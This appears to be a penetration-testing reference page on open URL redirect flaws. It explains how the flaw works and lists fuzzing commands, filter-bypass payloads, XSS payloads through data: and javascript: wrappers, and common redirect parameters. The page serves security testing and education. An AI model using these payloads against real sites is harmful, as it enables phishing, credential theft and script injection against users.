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Open URL Redirection

Un-validated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Un-validated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application’s access control check and then forward the attacker to privileged functions that they would normally not be able to access.

Summary

Exploitation

Let’s say there’s a well known website - https://famous-website.tld/. And let's assume that there's a link like :

https://famous-website.tld/signup?redirectUrl=https://famous-website.tld/account

After signing up you get redirected to your account, this redirection is specified by the redirectUrl parameter in the URL.
What happens if we change the famous-website.tld/account to evil-website.tld?

https://famous-website.tld/signup?redirectUrl=https://evil-website.tld/account

By visiting this url, if we get redirected to evil-website.tld after the sign-up, we have an Open Redirect vulnerability. This can be abused by an attacker to display a phishing page asking you to enter your credentials.

HTTP Redirection Status Code - 3xx

Fuzzing

Replace www.whitelisteddomain.tld from Open-Redirect-payloads.txt with a specific white listed domain in your test case

To do this simply modify the WHITELISTEDDOMAIN with value www.test.com to your test case URL.

WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELISTEDDOMAIN"'/' Open-Redirect-payloads.txt > Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt && echo "$WHITELISTEDDOMAIN" | awk -F. '{print "https://"$0"."$NF}' >> Open-Redirect-payloads-burp-"$WHITELISTEDDOMAIN".txt

Filter Bypass

Using a whitelisted domain or keyword

www.whitelisted.com.evil.com redirect to evil.com

Using CRLF to bypass "javascript" blacklisted keyword

java%0d%0ascript%0d%0a:alert(0)

Using "//" & "////" to bypass "http" blacklisted keyword

//google.com
////google.com

Using "https:" to bypass "//" blacklisted keyword

https:google.com

Using "\/\/" to bypass "//" blacklisted keyword (Browsers see \/\/ as //)

\/\/google.com/
/\/google.com/

Using "%E3%80%82" to bypass "." blacklisted character

/?redir=google。com
//google%E3%80%82com

Using null byte "%00" to bypass blacklist filter

//google%00.com

Using parameter pollution

?next=whitelisted.com&next=google.com

Using "@" character, browser will redirect to anything after the "@"

http://www.theirsite.com@yoursite.com/

Creating folder as their domain

http://www.yoursite.com/http://www.theirsite.com/
http://www.yoursite.com/folder/www.folder.com

Using "?" characted, browser will translate it to "/?"

http://www.yoursite.com?http://www.theirsite.com/
http://www.yoursite.com?folder/www.folder.com

Host/Split Unicode Normalization

https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
http://a.com/X.b.com

XSS from Open URL - If it's in a JS variable

";alert(0);//

XSS from data:// wrapper

http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==

XSS from javascript:// wrapper

http://www.example.com/redirect.php?url=javascript:prompt(1)

Common injection parameters

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}

References


Last update: August 30, 2022